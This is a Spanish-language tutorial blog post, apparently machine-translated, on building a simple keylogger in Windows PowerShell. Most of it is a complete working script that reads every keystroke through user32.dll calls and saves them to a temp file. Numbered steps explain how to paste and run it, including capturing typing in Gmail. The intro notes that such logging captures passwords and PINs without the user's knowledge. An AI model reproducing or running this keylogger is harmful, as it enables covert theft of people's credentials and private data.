Cómo crear un keylogger simple usted mismo en Windows: – El registro de teclas es el proceso de registrar las pulsaciones de teclas realizadas en un teclado en un registro. Esto a menudo se hace sin que el usuario se dé cuenta. El registro de teclas también se usa ampliamente como un truco de piratería. Mediante el registro de teclas, todas las pulsaciones de teclas realizadas en un teclado se pueden grabar de manera eficiente. Esto puede incluir contraseñas, nombres de usuario, pines secretos, datos confidenciales, etc. El registro de teclas también se puede utilizar para detectar intrusiones. En este artículo, se utiliza un marco de Windows conocido como Powershell para crear un registrador de teclas simple. Consiste en un shell de línea de comandos y un lenguaje de programación asociado. Powershell se basa en el marco .NET y se usa ampliamente para diversas aplicaciones.
Ver también:- Cómo detener el programa keylogger de Windows 10
PASO 1
- Extienda el menú Inicio. Escribir Windows PowerShell en la barra de búsqueda. Desde los resultados de la búsqueda, abre las aplicaciones. Windows PowerShell y Windows PowerShell ISE como se muestra en la captura de pantalla.
PASO 2
- Haga clic en Windows PowerShell en la barra de tareas. Esto resultará en la aparición de Windows PowerShell símbolo del sistema.
PASO 3
- Copie el código que se proporciona a continuación y péguelo en el Windows PowerShell símbolo del sistema. Para copiar o pegar, solo necesita seleccionar el código y hacer clic derecho, en el símbolo del sistema de PowerShell.
#requires -Version 2 function Start-KeyLogger($Path="$env:tempkeylogger.txt") { # Signatures for API Calls $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ # load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru # create output file $null = New-Item -Path $Path -ItemType File -Force try { Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red # create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii) # is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock # translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3) # get keyboard state for virtual keys $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) # prepare a StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder # translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { # add key to logger file [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally { # open logger file in Notepad notepad $Path } } # records all key presses until script is aborted by pressing CTRL+C # will then open the file with collected key codes Start-KeyLogger
ETAPA 4
- Ahora el Windows PowerShell se verá como la siguiente captura de pantalla.
PASO 5
- Ahora abra alguna aplicación y presione algunas teclas. He abierto G-Mail como ejemplo.
PASO 6
- Una vez que haya terminado de presionar las teclas, mire la parte inferior del código en el Windows PowerShell símbolo del sistema. Allí verá una instrucción Grabación de pulsaciones de teclas. Presione CTRL + C para ver los resultados. prensa CTRL + C según las instrucciones para ver las pulsaciones de teclas registradas.
PASO 7
- Prensado CTRL + C resultará en la apertura de un archivo de bloc de notas, que tiene las pulsaciones de teclas grabadas.
PASO 8
ANUNCIO
- Alternativamente, puede abrir el Windows PowerShell ISE como se muestra en el primer paso y copie el código. A continuación, haga clic en el Tocar icono para ejecutar el script. Esto también dará el mismo resultado.
Eso es. Crear tu propio keylogger ya no es un paseo por el océano. Espero que el artículo haya resultado útil.

Alguien que esté enamorado de la escritura y los trucos y consejos técnicos.